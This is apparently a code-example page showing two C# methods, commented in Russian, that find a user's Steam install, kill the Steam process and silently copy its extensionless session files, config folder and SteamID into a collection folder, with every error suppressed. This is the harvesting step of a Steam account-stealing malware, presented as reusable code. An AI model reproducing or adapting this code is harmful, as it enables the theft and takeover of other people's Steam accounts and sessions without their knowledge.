예제 #1
0
        /// <summary>
        /// Метод для сбора файлов со Steam директории
        /// </summary>
        /// <param name="exp">Сбор файлов без расширений ( *." )</param>
        /// <param name="congfiles">Сбор файлов с config директории</param>
        /// <param name="name">Именная папка Config</param>
        /// <param name="proc">Имя процесса Стим</param>
        public static void Inizialize(string exp, string congfiles, string name, string proc)
        {
            // Проверяем путь к папке стим
            if (CombineEx.ExistsDir(SteamPath.GetLocationSteam()))
            {
                CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal);
                CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID());

                // Закрываем процесс чтобы можно было скопировать файлы.
                ProcessControl.Closing(proc);
                try
                {
                    // Проходимся циклом по файлам без расширения
                    foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where(
                                 // Проверяем файл
                                 Unknown => File.Exists(Unknown)).Where(
                                 // Обходим файл .crash
                                 Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown))
                    {
                        CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true);
                    }
                    // Проходимся циклом по файлам конфиг
                    foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where(
                                 // Проверяем файл
                                 Config => File.Exists(Config)).Select(Config => Config))
                    {
                        CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true);
                    }
                }
                catch { }
            }
        }
예제 #2
0
        public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc)
        {
            if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir)))
            {
                CombineEx.CreateDir(GlobalPath.Steam_Dir);
                ProcessKiller.Closing(Proc);
                try
                {
                    foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion))
                    {
                        if (File.Exists(Unknown))
                        {
                            if (!Unknown.Contains(".crash"))
                            {
                                CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown)));
                            }
                        }
                        else
                        {
                            continue;
                        }
                    }
                }
                catch (IOException) { }
                catch (UnauthorizedAccessException) { }
                catch (ArgumentException) { }

                if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name)))
                {
                    try
                    {
                        CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name));
                        SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID());
                        foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles))
                        {
                            if (!File.Exists(Config))
                            {
                                continue;
                            }
                            else
                            {
                                CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true);
                            }
                        }
                    }
                    catch { }
                }
            }
        }